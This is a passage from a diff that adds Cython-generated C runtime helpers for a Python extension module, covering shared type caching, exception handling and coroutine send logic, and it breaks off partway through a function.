+ changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + _PyErr_StackItem *exc_info = tstate->exc_info; + while ((exc_info->exc_value == NULL || exc_info->exc_value == Py_None) && + exc_info->previous_item != NULL) + { + exc_info = exc_info->previous_item; + } + return exc_info; +} +#endif + +/* SaveResetException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + PyObject *exc_value = exc_info->exc_value; + if (exc_value == NULL || exc_value == Py_None) { + *value = NULL; + *type = NULL; + *tb = NULL; + } else { + *value = exc_value; + Py_INCREF(*value); + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + *tb = PyException_GetTraceback(exc_value); + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = __Pyx_PyErr_GetTopmostException(tstate); + *type = exc_info->exc_type; + *value = exc_info->exc_value; + *tb = exc_info->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #else + *type = tstate->exc_type; + *value = tstate->exc_value; + *tb = tstate->exc_traceback; + Py_XINCREF(*type); + Py_XINCREF(*value); + Py_XINCREF(*tb); + #endif +} +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + PyObject *tmp_value = exc_info->exc_value; + exc_info->exc_value = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); + #else + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = type; + exc_info->exc_value = value; + exc_info->exc_traceback = tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = type; + tstate->exc_value = value; + tstate->exc_traceback = tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); + #endif +} +#endif + +/* SwapException */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if CYTHON_USE_EXC_INFO_STACK && PY_VERSION_HEX >= 0x030B00a4 + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_value = exc_info->exc_value; + exc_info->exc_value = *value; + if (tmp_value == NULL || tmp_value == Py_None) { + Py_XDECREF(tmp_value); + tmp_value = NULL; + tmp_type = NULL; + tmp_tb = NULL; + } else { + tmp_type = (PyObject*) Py_TYPE(tmp_value); + Py_INCREF(tmp_type); + #if CYTHON_COMPILING_IN_CPYTHON + tmp_tb = ((PyBaseExceptionObject*) tmp_value)->traceback; + Py_XINCREF(tmp_tb); + #else + tmp_tb = PyException_GetTraceback(tmp_value); + #endif + } + #elif CYTHON_USE_EXC_INFO_STACK + _PyErr_StackItem *exc_info = tstate->exc_info; + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = *type; + exc_info->exc_value = *value; + exc_info->exc_traceback = *tb; + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + #endif + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCall2Args */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2) { + PyObject *args[3] = {NULL, arg1, arg2}; + return __Pyx_PyObject_FastCall(function, args+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectCallOneArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { + PyObject *args[2] = {NULL, arg}; + return __Pyx_PyObject_FastCall(func, args+1, 1 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* PyObjectGetMethod */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { + PyObject *attr; +#if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP + __Pyx_TypeName type_name; + PyTypeObject *tp = Py_TYPE(obj); + PyObject *descr; + descrgetfunc f = NULL; + PyObject **dictptr, *dict; + int meth_found = 0; + assert (*method == NULL); + if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; + } + if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { + return 0; + } + descr = _PyType_Lookup(tp, name); + if (likely(descr != NULL)) { + Py_INCREF(descr); +#if defined(Py_TPFLAGS_METHOD_DESCRIPTOR) && Py_TPFLAGS_METHOD_DESCRIPTOR + if (__Pyx_PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_METHOD_DESCRIPTOR)) +#elif PY_MAJOR_VERSION >= 3 + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr) || __Pyx_IS_TYPE(descr, &PyMethodDescr_Type))) + #endif +#else + #ifdef __Pyx_CyFunction_USED + if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) + #else + if (likely(PyFunction_Check(descr))) + #endif +#endif + { + meth_found = 1; + } else { + f = Py_TYPE(descr)->tp_descr_get; + if (f != NULL && PyDescr_IsData(descr)) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + } + } + dictptr = _PyObject_GetDictPtr(obj); + if (dictptr != NULL && (dict = *dictptr) != NULL) { + Py_INCREF(dict); + attr = __Pyx_PyDict_GetItemStr(dict, name); + if (attr != NULL) { + Py_INCREF(attr); + Py_DECREF(dict); + Py_XDECREF(descr); + goto try_unpack; + } + Py_DECREF(dict); + } + if (meth_found) { + *method = descr; + return 1; + } + if (f != NULL) { + attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); + Py_DECREF(descr); + goto try_unpack; + } + if (likely(descr != NULL)) { + *method = descr; + return 0; + } + type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return 0; +#else + attr = __Pyx_PyObject_GetAttrStr(obj, name); + goto try_unpack; +#endif +try_unpack: +#if CYTHON_UNPACK_METHODS + if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { + PyObject *function = PyMethod_GET_FUNCTION(attr); + Py_INCREF(function); + Py_DECREF(attr); + *method = function; + return 1; + } +#endif + *method = attr; + return 0; +} + +/* PyObjectCallMethod1 */ +#if !(CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2) +static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { + PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); + Py_DECREF(method); + return result; +} +#endif +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { +#if CYTHON_VECTORCALL && __PYX_LIMITED_VERSION_HEX >= 0x030C00A2 + PyObject *args[2] = {obj, arg}; + (void) __Pyx_PyObject_GetMethod; + (void) __Pyx_PyObject_CallOneArg; + (void) __Pyx_PyObject_Call2Args; + return PyObject_VectorcallMethod(method_name, args, 2 | PY_VECTORCALL_ARGUMENTS_OFFSET, NULL); +#else + PyObject *method = NULL, *result; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_Call2Args(method, obj, arg); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) return NULL; + return __Pyx__PyObject_CallMethod1(method, arg); +#endif +} + +/* PyObjectCallNoArg */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { + PyObject *arg[2] = {NULL, NULL}; + return __Pyx_PyObject_FastCall(func, arg + 1, 0 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); +} + +/* CoroutineBase */ +#include +#if PY_VERSION_HEX >= 0x030b00a6 + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *__pyx_tstate, PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + CYTHON_UNUSED_VAR(__pyx_tstate); + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + value = Py_None; + } +#if PY_VERSION_HEX >= 0x030300A0 + else if (likely(__Pyx_IS_TYPE(ev, (PyTypeObject*)PyExc_StopIteration))) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + } +#endif + else if (unlikely(PyTuple_Check(ev))) { + if (PyTuple_GET_SIZE(ev) >= 1) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#else + value = PySequence_ITEM(ev, 0); +#endif + } else { + Py_INCREF(Py_None); + value = Py_None; + } + Py_DECREF(ev); + } + else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + value = ev; + } + if (likely(value)) { + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } + } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_CLEAR(exc_state->exc_value); +#else + PyObject *t, *v, *tb; + t = exc_state->exc_type; + v = exc_state->exc_value; + tb = exc_state->exc_traceback; + exc_state->exc_type = NULL; + exc_state->exc_value = NULL; + exc_state->exc_traceback = NULL; + Py_XDECREF(t); + Py_XDECREF(v); + Py_XDECREF(tb); +#endif +} +#define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyRunningError(__pyx_CoroutineObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { + msg = "coroutine already executing"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { + msg = "async generator already executing"; + #endif + } else { + msg = "generator already executing"; + } + PyErr_SetString(PyExc_ValueError, msg); +} +#define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) +static void __Pyx__Coroutine_NotStartedError(PyObject *gen) { + const char *msg; + CYTHON_MAYBE_UNUSED_VAR(gen); + if ((0)) { + #ifdef __Pyx_Coroutine_USED + } else if (__Pyx_Coroutine_Check(gen)) { + msg = "can't send non-None value to a just-started coroutine"; + #endif + #ifdef __Pyx_AsyncGen_USED + } else if (__Pyx_AsyncGen_CheckExact(gen)) { + msg = "can't send non-None value to a just-started async generator"; + #endif + } else { + msg = "can't send non-None value to a just-started generator"; + } + PyErr_SetString(PyExc_TypeError, msg); +} +#define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) +static void __Pyx__Coroutine_AlreadyTerminatedError(PyObject *gen, PyObject *value, int closing) { + CYTHON_MAYBE_UNUSED_VAR(gen); + CYTHON_MAYBE_UNUSED_VAR(closing); + #ifdef __Pyx_Coroutine_USED + if (!closing && __Pyx_Coroutine_Check(gen)) { + PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); + } else + #endif + if (value) { + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); + else + #endif + PyErr_SetNone(PyExc_StopIteration); + } +} +static +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { + __Pyx_PyThreadState_declare + PyThreadState *tstate; + __Pyx_ExcInfoStruct *exc_state; + PyObject *retval; + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + return __Pyx_Coroutine_NotStartedError((PyObject*)self); + } + } + if (unlikely(self->resume_label == -1)) { + return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); + } +#if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + tstate = __pyx_tstate; +#else + tstate = __Pyx_PyThreadState_Current; +#endif + exc_state = &self->gi_exc_state; + if (exc_state->exc_value) { + #if CYTHON_COMPILING_IN_PYPY + #else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #elif PY_VERSION_HEX >= 0x030B00a4 + exc_tb = ((PyBaseExceptionObject*) exc_state->exc_value)->traceback; + #else + exc_tb = exc_state->exc_traceback; + #endif + if (exc_tb) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + assert(f->f_back == NULL); + #if PY_VERSION_HEX >= 0x030B00A1 + f->f_back = PyThreadState_GetFrame(tstate); + #else + Py_XINCREF(tstate->frame); + f->f_back = tstate->frame; + #endif + #if PY_VERSION_HEX >= 0x030B00a4 && !CYTHON_COMPILING_IN_CPYTHON + Py_DECREF(exc_tb); + #endif + } + #endif + } +#if CYTHON_USE_EXC_INFO_STACK + exc_state->previous_item = tstate->exc_info; + tstate->exc_info = exc_state; +#else + if (exc_state->exc_type) { + __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(exc_state); + __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); + } +#endif + self->is_running = 1; + retval = self->body(self, tstate, value); + self->is_running = 0; +#if CYTHON_USE_EXC_INFO_STACK + exc_state = &self->gi_exc_state; + tstate->exc_info = exc_state->previous_item; + exc_state->previous_item = NULL; + __Pyx_Coroutine_ResetFrameBackpointer(exc_state); +#endif + return retval; +} +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { +#if CYTHON_COMPILING_IN_PYPY + CYTHON_UNUSED_VAR(exc_state); +#else + PyObject *exc_tb; + #if PY_VERSION_HEX >= 0x030B00a4 + if (!exc_state->exc_value) return; + exc_tb = PyException_GetTraceback(exc_state->exc_value); + #else + exc_tb = exc_state->exc_traceback; + #endif + if (likely(exc_tb)) { + PyTracebackObject *tb = (PyTracebackObject *) exc_tb; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + #if PY_VERSION_HEX >= 0x030B00a4 + Py_DECREF(exc_tb); + #endif + } +#endif +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject* gen, PyObject *retval) { + CYTHON_MAYBE_UNUSED_VAR(gen); + if (unlikely(!retval)) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (!__Pyx_PyErr_Occurred()) { + PyObject *exc = PyExc_StopIteration; + #ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(gen)) + exc = __Pyx_PyExc_StopAsyncIteration; + #endif + __Pyx_PyErr_SetNone(exc); + } + } + return retval; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) +static CYTHON_INLINE +PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { +#if PY_VERSION_HEX <= 0x030A00A1 + return _PyGen_Send(gen, arg); +#else + PyObject *result; + if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { + if (PyAsyncGen_CheckExact(gen)) { + assert(result == Py_None); + PyErr_SetNone(PyExc_StopAsyncIteration); + } + else if (result == Py_None) { + PyErr_SetNone(PyExc_StopIteration); + } + else { +#if PY_VERSION_HEX < 0x030d00A1 + _PyGen_SetStopIterationValue(result); +#else + if (!PyTuple_Check(result) && !PyExceptionInstance_Check(result)) { + PyErr_SetObject(PyExc_StopIteration, result); + } else { + PyObject *exc = __Pyx_PyObject_CallOneArg(PyExc_StopIteration, result); + if (likely(exc != NULL)) { + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); + } + } +#endif + } + Py_DECREF(result); + result = NULL; + } + return result; +#endif +} +#endif +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); + ret = __Pyx_Coroutine_SendEx(gen, val, 0); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(gen->is_running)) + return __Pyx_Coroutine_AlreadyRunningError(gen); + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_PyAsyncGenASend_CheckExact(yf)) { + ret = __Pyx_async_gen_asend_send(yf, value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyGen_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) + if (PyCoro_CheckExact(yf)) { + ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); + } else + #endif + { + if (value == Py_None) + ret = __Pyx_PyObject_GetIterNextFunc(yf)(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value, 0); + } + return __Pyx_Coroutine_MethodReturn(self, retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(yf)) { + retval = 